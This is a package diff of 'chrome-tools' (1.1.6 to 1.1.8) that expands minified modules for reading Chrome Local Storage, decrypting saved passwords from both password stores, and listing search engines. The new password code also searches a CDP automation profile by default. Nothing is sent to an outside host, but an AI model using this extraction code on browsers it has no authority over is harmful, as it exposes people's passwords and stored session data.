chrome-tools 1.1.6 → 1.1.8

package/dist/src/modules/local-storage.js

@@ -1 +1,455 @@
-import{cpSync as e,existsSync as t,mkdtempSync as n,readdirSync as r,readFileSync as o,rmSync as f}from"node:fs";import{tmpdir as l}from"node:os";import{basename as u,join as i}from"node:path";import{resolveTargetProfiles as s}from"../core/chrome.js";export function getLocalStorage({chromeDir:e,profile:n,browser:r,origin:o,url:l,key:u,search:g,limit:p=100}={}){const y=s({chromeDir:e,profile:n,browser:r}),v=[],d=function(e){if(!e)return;try{return new URL(e).origin.toLowerCase()}catch{return e.toLowerCase()}}(l||o),b=u?.toLowerCase(),m=g?.toLowerCase();for(const e of y){const n=i(e.path,"Local Storage","leveldb");if(!t(n))continue;let r=null;try{r=c(n);const t=a(r);for(const n of t.values()){if(n.deleted||!n.value)continue;const t=h(n.key,n.value);if(!t)continue;const r={profile:e.name,origin:t.origin,key:t.key,value:t.value};if((!d||r.origin.toLowerCase().includes(d))&&(!b||r.key.toLowerCase().includes(b))){if(m){if(!`${r.origin}\n${r.key}\n${r.value}`.toLowerCase().includes(m))continue}v.push(r)}}}catch{}finally{r&&f(r,{recursive:!0,force:!0})}}return v.sort((e,t)=>e.profile.localeCompare(t.profile)||e.origin.localeCompare(t.origin)||e.key.localeCompare(t.key)),p?v.slice(0,parseInt(p,10)):v}function c(t){const r=n(i(l(),"chrome-local-storage-"));return e(t,r,{recursive:!0,force:!0,filter:e=>"LOCK"!==u(e)}),r}function a(e){const t=new Map,n=r(e).filter(e=>/\.(log|ldb|sst)$/i.test(e)).sort();for(const r of n){const n=i(e,r),f=o(n);if(/\.(ldb|sst)$/i.test(r))for(const e of d(f))g(t,e)}for(const r of n){if(!/\.log$/i.test(r))continue;const n=i(e,r),f=o(n);for(const e of y(f))g(t,e)}return t}function g(e,t){const n=t.key.toString("hex"),r=e.get(n);r&&r.sequence>t.sequence||e.set(n,t)}function h(e,t){if(e.length<3||95!==e[0])return null;const n=e.indexOf(0,1);if(-1===n)return null;const r=e.subarray(1,n).toString("utf8"),o=p(e.subarray(n+1)),f=p(t);return r&&o?{origin:r,key:o,value:f}:null}function p(e){if(0===e.length)return"";const t=e[0],n=e.subarray(1);return 0===t&&n.length%2==0?n.toString("utf16le"):1===t?n.toString("latin1"):e.toString("utf8")}function y(e){const t=[];let n=0,r=[];for(;n+7<=e.length;){const o=32768-n%32768;if(o<7){n+=o;continue}const f=e.readUInt16LE(n+4),l=e[n+6];if(n+=7,0===l&&0===f){n+=f;continue}if(f>e.length-n||f>o-7)break;const u=e.subarray(n,n+f);n+=f,1===l?(t.push(...v(u)),r=[]):2===l?r=[Buffer.from(u)]:3===l&&r.length>0?r.push(Buffer.from(u)):4===l&&r.length>0&&(r.push(Buffer.from(u)),t.push(...v(Buffer.concat(r))),r=[])}return t}function v(e){if(e.length<12)return[];const t=[],n=function(e,t){let n=0n;for(let r=0;r<8;r++)n|=BigInt(e[t+r]||0)<<BigInt(8*r);return n}(e,0),r=e.readUInt32LE(8);let o=12,f=0;for(;o<e.length&&f<r;){const r=e[o++],l=k(e,o);if(!l)break;o=l.nextOffset;const u=n+BigInt(f);if(1===r){const n=k(e,o);if(!n)break;o=n.nextOffset,t.push({key:l.value,value:n.value,sequence:u,deleted:!1})}else{if(0!==r)break;t.push({key:l.value,sequence:u,deleted:!0})}f++}return t}function d(e){const t=[];if(e.length<48)return t;if(15800726617472432983n!==e.readBigUInt64LE(e.length-8))return t;const n=e.subarray(e.length-48,e.length-8),r=w(n,0);if(!r)return t;const o=w(n,r.bytesRead);if(!o)return t;const f=b(e,o);if(!f)return t;for(const n of m(f)){const r=w(n.value,0);if(!r)continue;const o=b(e,r);if(o)for(const e of m(o)){if(e.key.length<8)continue;const n=e.key,r=n.length-8,o=n[r],f=L(n.subarray(r)),l=n.subarray(0,r);1===o?t.push({key:l,value:e.value,sequence:f,deleted:!1}):0===o&&t.push({key:l,sequence:f,deleted:!0})}}return t}function b(e,t){const n=t.offset+t.size;if(t.offset<0||t.size<0||n+5>e.length)return null;const r=e.subarray(t.offset,n),o=e[n];if(0===o)return r;if(1===o)try{return function(e){const t=I(e,0);if(!t)throw new Error("Invalid Snappy length");const n=Buffer.alloc(t.value);let r=t.nextOffset,o=0;for(;r<e.length&&o<n.length;){const t=e[r++],f=3&t;if(0===f){let f=t>>2;if(f<60)f+=1;else{const t=f-59;if(r+t>e.length)throw new Error("Invalid Snappy literal");f=1;for(let n=0;n<t;n++)f+=e[r++]<<8*n}if(r+f>e.length||o+f>n.length)throw new Error("Invalid Snappy literal length");e.copy(n,o,r,r+f),r+=f,o+=f;continue}let l,u;if(1===f){if(r>=e.length)throw new Error("Invalid Snappy copy");l=4+(t>>2&7),u=(224&t)<<3|e[r++]}else if(2===f){if(r+2>e.length)throw new Error("Invalid Snappy copy");l=1+(t>>2),u=e.readUInt16LE(r),r+=2}else{if(r+4>e.length)throw new Error("Invalid Snappy copy");l=1+(t>>2),u=e.readUInt32LE(r),r+=4}if(u<=0||u>o||o+l>n.length)throw new Error("Invalid Snappy offset");for(let e=0;e<l;e++)n[o]=n[o-u],o++}if(o!==n.length)throw new Error("Truncated Snappy stream");return n}(r)}catch{return null}return null}function m(e){if(e.length<4)return[];const t=e.readUInt32LE(e.length-4),n=4*t+4;if(t<1||n>e.length)return[];const r=e.length-n,o=[];let f=0,l=Buffer.alloc(0);for(;f<r;){const t=I(e,f);if(!t)break;f=t.nextOffset;const n=I(e,f);if(!n)break;f=n.nextOffset;const u=I(e,f);if(!u)break;if(f=u.nextOffset,t.value>l.length||f+n.value+u.value>r)break;const i=Buffer.concat([l.subarray(0,t.value),e.subarray(f,f+n.value)]);f+=n.value;const s=Buffer.from(e.subarray(f,f+u.value));f+=u.value,o.push({key:i,value:s}),l=i}return o}function w(e,t){const n=E(e,t);if(!n)return null;const r=E(e,n.nextOffset);return r?n.value>BigInt(Number.MAX_SAFE_INTEGER)||r.value>BigInt(Number.MAX_SAFE_INTEGER)?null:{offset:Number(n.value),size:Number(r.value),bytesRead:r.nextOffset-t}:null}function k(e,t){const n=I(e,t);if(!n)return null;const r=n.nextOffset+n.value;return r>e.length?null:{value:Buffer.from(e.subarray(n.nextOffset,r)),nextOffset:r}}function I(e,t){let n=0,r=0;for(let o=t;o<e.length&&o<t+5;o++){const t=e[o];if(n|=(127&t)<<r,!(128&t))return{value:n>>>0,nextOffset:o+1};r+=7}return null}function E(e,t){let n=0n,r=0n;for(let o=t;o<e.length&&o<t+10;o++){const t=e[o];if(n|=BigInt(127&t)<<r,!(128&t))return{value:n,nextOffset:o+1};r+=7n}return null}function L(e){let t=0n;for(let n=1;n<8;n++)t|=BigInt(e[n]||0)<<BigInt(8*(n-1));return t}export const _test={decodeLocalStorageString:p,parseLocalStorageRecord:h,parseLogRecords:y};
+import { cpSync, existsSync, mkdtempSync, readdirSync, readFileSync, rmSync } from "node:fs";
+import { tmpdir } from "node:os";
+import { basename, join } from "node:path";
+import { resolveTargetProfiles } from "../core/chrome.js";
+import { limitResults } from "../core/limit.js";
+const TABLE_MAGIC = 0xdb4775248b80fb57n;
+const LOG_BLOCK_SIZE = 32768;
+const VALUE_TYPE_DELETION = 0;
+const VALUE_TYPE_VALUE = 1;
+/**
+ * Reads localStorage key/value pairs from Chrome's Local Storage LevelDB store.
+ *
+ * @param options - Targeting and filtering options.
+ * @returns Array of localStorage entries.
+ */
+export function getLocalStorage({ chromeDir, profilePath, profile, browser, origin, url, key, search, limit = 100, } = {}) {
+    const profiles = resolveTargetProfiles({ chromeDir, profilePath, profile, browser });
+    const results = [];
+    const originFilter = normalizeOriginFilter(url || origin);
+    const keyFilter = key?.toLowerCase();
+    const searchFilter = search?.toLowerCase();
+    for (const p of profiles) {
+        const dbPath = join(p.path, "Local Storage", "leveldb");
+        if (!existsSync(dbPath))
+            continue;
+        let tmpPath = null;
+        try {
+            tmpPath = copyLevelDBToTemp(dbPath);
+            const rawRecords = readLevelDBRecords(tmpPath);
+            for (const record of rawRecords.values()) {
+                if (record.deleted || !record.value)
+                    continue;
+                const parsed = parseLocalStorageRecord(record.key, record.value);
+                if (!parsed)
+                    continue;
+                const entry = {
+                    profile: p.name,
+                    origin: parsed.origin,
+                    key: parsed.key,
+                    value: parsed.value,
+                };
+                if (originFilter && !entry.origin.toLowerCase().includes(originFilter)) {
+                    continue;
+                }
+                if (keyFilter && !entry.key.toLowerCase().includes(keyFilter)) {
+                    continue;
+                }
+                if (searchFilter) {
+                    const haystack = `${entry.origin}\n${entry.key}\n${entry.value}`.toLowerCase();
+                    if (!haystack.includes(searchFilter))
+                        continue;
+                }
+                results.push(entry);
+            }
+        }
+        catch {
+            // Skip profiles with unreadable or partially-corrupt LevelDB files.
+        }
+        finally {
+            if (tmpPath) {
+                rmSync(tmpPath, { recursive: true, force: true });
+            }
+        }
+    }
+    results.sort((a, b) => a.profile.localeCompare(b.profile) ||
+        a.origin.localeCompare(b.origin) ||
+        a.key.localeCompare(b.key));
+    return limitResults(results, limit);
+}
+function copyLevelDBToTemp(dbPath) {
+    const tmpPath = mkdtempSync(join(tmpdir(), "chrome-local-storage-"));
+    cpSync(dbPath, tmpPath, {
+        recursive: true,
+        force: true,
+        filter: (source) => basename(source) !== "LOCK",
+    });
+    return tmpPath;
+}
+function readLevelDBRecords(dbPath) {
+    const records = new Map();
+    const files = readdirSync(dbPath)
+        .filter((file) => /\.(log|ldb|sst)$/i.test(file))
+        .sort();
+    for (const file of files) {
+        const filePath = join(dbPath, file);
+        const data = readFileSync(filePath);
+        if (/\.(ldb|sst)$/i.test(file)) {
+            for (const record of parseTableRecords(data)) {
+                applyLevelDBRecord(records, record);
+            }
+        }
+    }
+    for (const file of files) {
+        if (!/\.log$/i.test(file))
+            continue;
+        const filePath = join(dbPath, file);
+        const data = readFileSync(filePath);
+        for (const record of parseLogRecords(data)) {
+            applyLevelDBRecord(records, record);
+        }
+    }
+    return records;
+}
+function applyLevelDBRecord(records, record) {
+    const id = record.key.toString("hex");
+    const existing = records.get(id);
+    if (existing && existing.sequence > record.sequence)
+        return;
+    records.set(id, record);
+}
+function parseLocalStorageRecord(rawKey, rawValue) {
+    if (rawKey.length < 3 || rawKey[0] !== 0x5f)
+        return null;
+    const separator = rawKey.indexOf(0x00, 1);
+    if (separator === -1)
+        return null;
+    const origin = rawKey.subarray(1, separator).toString("utf8");
+    const key = decodeLocalStorageString(rawKey.subarray(separator + 1));
+    const value = decodeLocalStorageString(rawValue);
+    if (!origin || !key)
+        return null;
+    return { origin, key, value };
+}
+function decodeLocalStorageString(data) {
+    if (data.length === 0)
+        return "";
+    const format = data[0];
+    const body = data.subarray(1);
+    if (format === 0x00 && body.length % 2 === 0) {
+        return body.toString("utf16le");
+    }
+    if (format === 0x01) {
+        return body.toString("latin1");
+    }
+    return data.toString("utf8");
+}
+function normalizeOriginFilter(input) {
+    if (!input)
+        return undefined;
+    try {
+        return new URL(input).origin.toLowerCase();
+    }
+    catch {
+        return input.toLowerCase();
+    }
+}
+function parseLogRecords(data) {
+    const records = [];
+    let offset = 0;
+    let fragments = [];
+    while (offset + 7 <= data.length) {
+        const blockRemaining = LOG_BLOCK_SIZE - (offset % LOG_BLOCK_SIZE);
+        if (blockRemaining < 7) {
+            offset += blockRemaining;
+            continue;
+        }
+        const length = data.readUInt16LE(offset + 4);
+        const type = data[offset + 6];
+        offset += 7;
+        if (type === 0 && length === 0) {
+            offset += length;
+            continue;
+        }
+        if (length > data.length - offset || length > blockRemaining - 7) {
+            break;
+        }
+        const payload = data.subarray(offset, offset + length);
+        offset += length;
+        if (type === 1) {
+            records.push(...parseWriteBatch(payload));
+            fragments = [];
+        }
+        else if (type === 2) {
+            fragments = [Buffer.from(payload)];
+        }
+        else if (type === 3 && fragments.length > 0) {
+            fragments.push(Buffer.from(payload));
+        }
+        else if (type === 4 && fragments.length > 0) {
+            fragments.push(Buffer.from(payload));
+            records.push(...parseWriteBatch(Buffer.concat(fragments)));
+            fragments = [];
+        }
+    }
+    return records;
+}
+function parseWriteBatch(batch) {
+    if (batch.length < 12)
+        return [];
+    const records = [];
+    const startSequence = readUInt64LE(batch, 0);
+    const count = batch.readUInt32LE(8);
+    let offset = 12;
+    let seen = 0;
+    while (offset < batch.length && seen < count) {
+        const tag = batch[offset++];
+        const keyPart = readLengthPrefixedSlice(batch, offset);
+        if (!keyPart)
+            break;
+        offset = keyPart.nextOffset;
+        const sequence = startSequence + BigInt(seen);
+        if (tag === VALUE_TYPE_VALUE) {
+            const valuePart = readLengthPrefixedSlice(batch, offset);
+            if (!valuePart)
+                break;
+            offset = valuePart.nextOffset;
+            records.push({ key: keyPart.value, value: valuePart.value, sequence, deleted: false });
+        }
+        else if (tag === VALUE_TYPE_DELETION) {
+            records.push({ key: keyPart.value, sequence, deleted: true });
+        }
+        else {
+            break;
+        }
+        seen++;
+    }
+    return records;
+}
+function parseTableRecords(data) {
+    const records = [];
+    if (data.length < 48)
+        return records;
+    const magic = data.readBigUInt64LE(data.length - 8);
+    if (magic !== TABLE_MAGIC)
+        return records;
+    const footer = data.subarray(data.length - 48, data.length - 8);
+    const metaHandle = readBlockHandle(footer, 0);
+    if (!metaHandle)
+        return records;
+    const indexHandle = readBlockHandle(footer, metaHandle.bytesRead);
+    if (!indexHandle)
+        return records;
+    const indexBlock = readBlock(data, indexHandle);
+    if (!indexBlock)
+        return records;
+    for (const indexEntry of parseBlockEntries(indexBlock)) {
+        const dataHandle = readBlockHandle(indexEntry.value, 0);
+        if (!dataHandle)
+            continue;
+        const dataBlock = readBlock(data, dataHandle);
+        if (!dataBlock)
+            continue;
+        for (const entry of parseBlockEntries(dataBlock)) {
+            if (entry.key.length < 8)
+                continue;
+            const internalKey = entry.key;
+            const tagOffset = internalKey.length - 8;
+            const type = internalKey[tagOffset];
+            const sequence = readSequence(internalKey.subarray(tagOffset));
+            const key = internalKey.subarray(0, tagOffset);
+            if (type === VALUE_TYPE_VALUE) {
+                records.push({ key, value: entry.value, sequence, deleted: false });
+            }
+            else if (type === VALUE_TYPE_DELETION) {
+                records.push({ key, sequence, deleted: true });
+            }
+        }
+    }
+    return records;
+}
+function readBlock(data, handle) {
+    const trailerOffset = handle.offset + handle.size;
+    if (handle.offset < 0 || handle.size < 0 || trailerOffset + 5 > data.length) {
+        return null;
+    }
+    const block = data.subarray(handle.offset, trailerOffset);
+    const compressionType = data[trailerOffset];
+    if (compressionType === 0) {
+        return block;
+    }
+    if (compressionType === 1) {
+        try {
+            return snappyUncompress(block);
+        }
+        catch {
+            return null;
+        }
+    }
+    return null;
+}
+function parseBlockEntries(block) {
+    if (block.length < 4)
+        return [];
+    const restartCount = block.readUInt32LE(block.length - 4);
+    const restartsSize = restartCount * 4 + 4;
+    if (restartCount < 1 || restartsSize > block.length)
+        return [];
+    const entriesEnd = block.length - restartsSize;
+    const entries = [];
+    let offset = 0;
+    let previousKey = Buffer.alloc(0);
+    while (offset < entriesEnd) {
+        const shared = readVarint32(block, offset);
+        if (!shared)
+            break;
+        offset = shared.nextOffset;
+        const nonShared = readVarint32(block, offset);
+        if (!nonShared)
+            break;
+        offset = nonShared.nextOffset;
+        const valueLength = readVarint32(block, offset);
+        if (!valueLength)
+            break;
+        offset = valueLength.nextOffset;
+        if (shared.value > previousKey.length || offset + nonShared.value + valueLength.value > entriesEnd) {
+            break;
+        }
+        const key = Buffer.concat([
+            previousKey.subarray(0, shared.value),
+            block.subarray(offset, offset + nonShared.value),
+        ]);
+        offset += nonShared.value;
+        const value = Buffer.from(block.subarray(offset, offset + valueLength.value));
+        offset += valueLength.value;
+        entries.push({ key, value });
+        previousKey = key;
+    }
+    return entries;
+}
+function readBlockHandle(data, offset) {
+    const blockOffset = readVarint64(data, offset);
+    if (!blockOffset)
+        return null;
+    const blockSize = readVarint64(data, blockOffset.nextOffset);
+    if (!blockSize)
+        return null;
+    if (blockOffset.value > BigInt(Number.MAX_SAFE_INTEGER) || blockSize.value > BigInt(Number.MAX_SAFE_INTEGER)) {
+        return null;
+    }
+    return {
+        offset: Number(blockOffset.value),
+        size: Number(blockSize.value),
+        bytesRead: blockSize.nextOffset - offset,
+    };
+}
+function readLengthPrefixedSlice(data, offset) {
+    const length = readVarint32(data, offset);
+    if (!length)
+        return null;
+    const end = length.nextOffset + length.value;
+    if (end > data.length)
+        return null;
+    return { value: Buffer.from(data.subarray(length.nextOffset, end)), nextOffset: end };
+}
+function readVarint32(data, offset) {
+    let result = 0;
+    let shift = 0;
+    for (let i = offset; i < data.length && i < offset + 5; i++) {
+        const byte = data[i];
+        result |= (byte & 0x7f) << shift;
+        if ((byte & 0x80) === 0) {
+            return { value: result >>> 0, nextOffset: i + 1 };
+        }
+        shift += 7;
+    }
+    return null;
+}
+function readVarint64(data, offset) {
+    let result = 0n;
+    let shift = 0n;
+    for (let i = offset; i < data.length && i < offset + 10; i++) {
+        const byte = data[i];
+        result |= BigInt(byte & 0x7f) << shift;
+        if ((byte & 0x80) === 0) {
+            return { value: result, nextOffset: i + 1 };
+        }
+        shift += 7n;
+    }
+    return null;
+}
+function readUInt64LE(data, offset) {
+    let value = 0n;
+    for (let i = 0; i < 8; i++) {
+        value |= BigInt(data[offset + i] || 0) << BigInt(i * 8);
+    }
+    return value;
+}
+function readSequence(tagBytes) {
+    let sequence = 0n;
+    for (let i = 1; i < 8; i++) {
+        sequence |= BigInt(tagBytes[i] || 0) << BigInt((i - 1) * 8);
+    }
+    return sequence;
+}
+function snappyUncompress(input) {
+    const expectedLength = readVarint32(input, 0);
+    if (!expectedLength)
+        throw new Error("Invalid Snappy length");
+    const output = Buffer.alloc(expectedLength.value);
+    let ip = expectedLength.nextOffset;
+    let op = 0;
+    while (ip < input.length && op < output.length) {
+        const tag = input[ip++];
+        const type = tag & 0x03;
+        if (type === 0) {
+            let literalLength = tag >> 2;
+            if (literalLength < 60) {
+                literalLength += 1;
+            }
+            else {
+                const bytesToRead = literalLength - 59;
+                if (ip + bytesToRead > input.length)
+                    throw new Error("Invalid Snappy literal");
+                literalLength = 1;
+                for (let i = 0; i < bytesToRead; i++) {
+                    literalLength += input[ip++] << (i * 8);
+                }
+            }
+            if (ip + literalLength > input.length || op + literalLength > output.length) {
+                throw new Error("Invalid Snappy literal length");
+            }
+            input.copy(output, op, ip, ip + literalLength);
+            ip += literalLength;
+            op += literalLength;
+            continue;
+        }
+        let copyLength;
+        let copyOffset;
+        if (type === 1) {
+            if (ip >= input.length)
+                throw new Error("Invalid Snappy copy");
+            copyLength = ((tag >> 2) & 0x07) + 4;
+            copyOffset = ((tag & 0xe0) << 3) | input[ip++];
+        }
+        else if (type === 2) {
+            if (ip + 2 > input.length)
+                throw new Error("Invalid Snappy copy");
+            copyLength = (tag >> 2) + 1;
+            copyOffset = input.readUInt16LE(ip);
+            ip += 2;
+        }
+        else {
+            if (ip + 4 > input.length)
+                throw new Error("Invalid Snappy copy");
+            copyLength = (tag >> 2) + 1;
+            copyOffset = input.readUInt32LE(ip);
+            ip += 4;
+        }
+        if (copyOffset <= 0 || copyOffset > op || op + copyLength > output.length) {
+            throw new Error("Invalid Snappy offset");
+        }
+        for (let i = 0; i < copyLength; i++) {
+            output[op] = output[op - copyOffset];
+            op++;
+        }
+    }
+    if (op !== output.length)
+        throw new Error("Truncated Snappy stream");
+    return output;
+}
+export const _test = {
+    decodeLocalStorageString,
+    parseLocalStorageRecord,
+    parseLogRecords,
+};

package/dist/src/modules/passwords.d.ts

@@ -1,7 +1,5 @@
-export interface PasswordOptions {
-    chromeDir?: string;
-    profile?: string;
-    browser?: string;
+import { type ResolveProfilesOptions } from "../core/chrome.js";
+export interface PasswordOptions extends ResolveProfilesOptions {
     search?: string;
     decryptionKey?: Buffer;
 }
@@ -25,4 +23,4 @@ export interface PasswordEntry {
  * @param options - Options for profile selection and filtering.
  * @returns Array of decrypted password entries.
  */
-export declare function getPasswords({ chromeDir, profile, search, browser, decryptionKey }?: PasswordOptions): PasswordEntry[];
+export declare function getPasswords({ chromeDir, profilePath, profile, search, browser, decryptionKey, }?: PasswordOptions): PasswordEntry[];

package/dist/src/modules/passwords.js

@@ -1 +1,131 @@
-import{join as r}from"node:path";import{resolveTargetProfiles as o}from"../core/chrome.js";import{deriveEncryptionKey as e,decryptValue as s}from"../core/platform/index.js";import{chromeTimeToDate as t}from"../core/crypto.js";import{queryDatabase as c,tableExists as n}from"../core/db.js";const a=[{file:"Login Data",source:"device"},{file:"Login Data For Account",source:"account"}];export function getPasswords({chromeDir:i,profile:u,search:l,browser:f,decryptionKey:m}={}){const p=o({chromeDir:i,profile:u,browser:f}),d=m||e(),_=[],g=l?.toLowerCase();for(const o of p)for(const e of a){const a=r(o.path,e.file);try{if(!n(a,"logins"))continue;const r=c(a,"SELECT origin_url, username_value, password_value, date_last_used\n           FROM logins ORDER BY origin_url");for(const c of r){const r={profile:o.name,source:e.source,url:c.origin_url,username:c.username_value,password:s(c.password_value,d),lastUsed:t(c.date_last_used||0)};(!g||r.url&&r.url.toLowerCase().includes(g)||r.username&&r.username.toLowerCase().includes(g))&&_.push(r)}}catch(r){_.push({profile:o.name,source:e.source,error:r.message})}}return _.filter(r=>!r.error)}
+import { readFileSync } from "node:fs";
+import { homedir } from "node:os";
+import { join } from "node:path";
+import { discoverProfiles, resolveTargetProfiles, } from "../core/chrome.js";
+import { deriveEncryptionKey, decryptValue } from "../core/platform/index.js";
+import { chromeTimeToDate } from "../core/crypto.js";
+import { queryDatabase } from "../core/db.js";
+/**
+ * Chrome stores saved passwords in two SQLite files per profile:
+ *   - "Login Data"             — passwords kept on this device only.
+ *   - "Login Data For Account" — passwords synced to the signed-in Google Account.
+ * Both share the same `logins` schema and v10 encryption, so we read both and
+ * tag each entry with its source.
+ */
+const PASSWORD_STORES = [
+    { file: "Login Data", source: "device" },
+    { file: "Login Data For Account", source: "account" },
+];
+/** Where a CDP launcher keeps the User Data directory it drives Chrome with. */
+const AUTOMATION_DIR = join(homedir(), ".chrome_cdp_profile");
+/** …and where it records a relocated one. */
+const AUTOMATION_CONFIG = join(homedir(), ".config", "chrome-cdp-manager", "config.json");
+/** `CHROME_AUTOMATION_DIR` values meaning "do not look there at all". */
+const AUTOMATION_OFF = ["0", "off", "none", "false"];
+/**
+ * The automation profile tree, on a machine that has one.
+ *
+ * Most machines do not: no CDP launcher is installed, the directory was never
+ * created, or it exists but holds no profile yet. All three answer undefined,
+ * which leaves the search exactly as it was before this existed — the everyday
+ * profile, alone. Nothing here is required for a plain Chrome install.
+ *
+ * `CHROME_AUTOMATION_DIR` names the tree explicitly, and `off` (or `0`, `none`,
+ * `false`) skips it even where one exists.
+ */
+function automationChromeDir() {
+    const override = process.env.CHROME_AUTOMATION_DIR?.trim();
+    if (override && AUTOMATION_OFF.includes(override.toLowerCase()))
+        return undefined;
+    const dir = override || configuredAutomationDir() || AUTOMATION_DIR;
+    // Holding a profile is what makes it a tree worth reading — an absent or
+    // empty directory would otherwise add a root every lookup searches for
+    // nothing, and turn a missing `--profile` into a spurious refusal.
+    return discoverProfiles(dir).length > 0 ? dir : undefined;
+}
+/** The profile directory a CDP launcher was configured with, if it says. */
+function configuredAutomationDir() {
+    try {
+        const stored = JSON.parse(readFileSync(AUTOMATION_CONFIG, "utf-8"));
+        return typeof stored.profileDir === "string" && stored.profileDir ? stored.profileDir : undefined;
+    }
+    catch {
+        // No launcher config, or an unreadable one: fall back to its default path.
+        return undefined;
+    }
+}
+/**
+ * Extracts and decrypts saved passwords from Chrome's password databases.
+ * Reads both the device-local and account-synced stores, labelling each entry
+ * with its `source` (no de-duplication across the two).
+ *
+ * @param options - Options for profile selection and filtering.
+ * @returns Array of decrypted password entries.
+ */
+export function getPasswords({ chromeDir, profilePath, profile, search, browser, decryptionKey, } = {}) {
+    const userDataDir = profilePath || chromeDir;
+    // The automation User Data directory first, then the everyday one. A Chrome
+    // driven over CDP keeps its own profile tree, so a login saved while signing
+    // in to that window is stored there and nowhere else — looking only at the
+    // everyday tree could not find it. Naming a directory or a browser answers
+    // "which tree?" outright, and is used as given.
+    const roots = [];
+    const automation = userDataDir || browser ? undefined : automationChromeDir();
+    if (automation)
+        roots.push(automation);
+    roots.push(userDataDir);
+    const results = [];
+    const term = search?.toLowerCase();
+    // A named profile missing from one tree is not a failure while another is
+    // still to come — but a profile in none of them is still an error, so the
+    // first refusal is kept and raised if no tree resolved at all.
+    let refusal;
+    let resolved = false;
+    for (const root of roots) {
+        let profiles;
+        try {
+            profiles = resolveTargetProfiles({ chromeDir: root, profile, browser });
+        }
+        catch (error) {
+            refusal ??= error;
+            continue;
+        }
+        resolved = true;
+        // Per root: on Windows the key comes from that tree's own Local State.
+        let derivedKey = decryptionKey;
+        for (const p of profiles) {
+            for (const store of PASSWORD_STORES) {
+                const dbPath = join(p.path, store.file);
+                try {
+                    const rows = queryDatabase(dbPath, `SELECT origin_url, username_value, password_value, date_last_used
+             FROM logins ORDER BY origin_url`);
+                    for (const row of rows) {
+                        const entry = {
+                            profile: p.name,
+                            source: store.source,
+                            url: row.origin_url,
+                            username: row.username_value,
+                            password: row.password_value?.length > 0
+                                ? decryptValue(row.password_value, derivedKey ??= deriveEncryptionKey(root, browser))
+                                : "",
+                            lastUsed: chromeTimeToDate(row.date_last_used || 0),
+                        };
+                        if (term) {
+                            if (!(entry.url && entry.url.toLowerCase().includes(term)) &&
+                                !(entry.username && entry.username.toLowerCase().includes(term))) {
+                                continue;
+                            }
+                        }
+                        results.push(entry);
+                    }
+                }
+                catch {
+                    // Skip missing or unreadable stores and continue with the others.
+                }
+            }
+        }
+    }
+    if (!resolved && refusal)
+        throw refusal;
+    return results;
+}

package/dist/src/modules/search-engines.d.ts

@@ -1,7 +1,5 @@
-export interface SearchEngineOptions {
-    chromeDir?: string;
-    profile?: string;
-    browser?: string;
+import { type ResolveProfilesOptions } from "../core/chrome.js";
+export interface SearchEngineOptions extends ResolveProfilesOptions {
 }
 export interface SearchEngineEntry {
     profile: string;
@@ -20,4 +18,4 @@ export interface SearchEngineEntry {
  * @param options - Targeting options.
  * @returns Array of search engine entries.
  */
-export declare function getSearchEngines({ chromeDir, profile, browser }?: SearchEngineOptions): SearchEngineEntry[];
+export declare function getSearchEngines({ chromeDir, profilePath, profile, browser, }?: SearchEngineOptions): SearchEngineEntry[];

package/dist/src/modules/search-engines.js

@@ -1 +1,38 @@
-import{join as r}from"node:path";import{resolveTargetProfiles as o}from"../core/chrome.js";import{queryDatabase as e,tableExists as i}from"../core/db.js";export function getSearchEngines({chromeDir:t,profile:s,browser:n}={}){const c=o({chromeDir:t,profile:s,browser:n}),a=[];for(const o of c){const t=r(o.path,"Web Data");try{if(!i(t,"keywords"))continue;const r=e(t,"SELECT id, short_name, keyword, url, suggestions_url,\n                favicon_url, prepopulate_id, is_active\n         FROM keywords ORDER BY short_name");for(const e of r)a.push({profile:o.name,id:e.id,name:e.short_name||"",keyword:e.keyword||"",url:e.url||"",suggestionsUrl:e.suggestions_url||"",faviconUrl:e.favicon_url||"",isDefault:1===e.prepopulate_id,isActive:1===e.is_active})}catch{}}return a}
+import { join } from "node:path";
+import { resolveTargetProfiles } from "../core/chrome.js";
+import { queryDatabase } from "../core/db.js";
+/**
+ * Retrieves search engines configured in Chrome from the Web Data database.
+ *
+ * @param options - Targeting options.
+ * @returns Array of search engine entries.
+ */
+export function getSearchEngines({ chromeDir, profilePath, profile, browser, } = {}) {
+    const profiles = resolveTargetProfiles({ chromeDir, profilePath, profile, browser });
+    const results = [];
+    for (const p of profiles) {
+        const dbPath = join(p.path, "Web Data");
+        try {
+            const rows = queryDatabase(dbPath, `SELECT id, short_name, keyword, url, suggestions_url,
+                favicon_url, prepopulate_id, is_active
+         FROM keywords ORDER BY short_name`);
+            for (const row of rows) {
+                results.push({
+                    profile: p.name,
+                    id: row.id,
+                    name: row.short_name || "",
+                    keyword: row.keyword || "",
+                    url: row.url || "",
+                    suggestionsUrl: row.suggestions_url || "",
+                    faviconUrl: row.favicon_url || "",
+                    isDefault: row.prepopulate_id === 1,
+                    isActive: row.is_active === 1,
+                });
+            }
+        }
+        catch {
+            // Skip profiles with errors
+        }
+    }
+    return results;
+}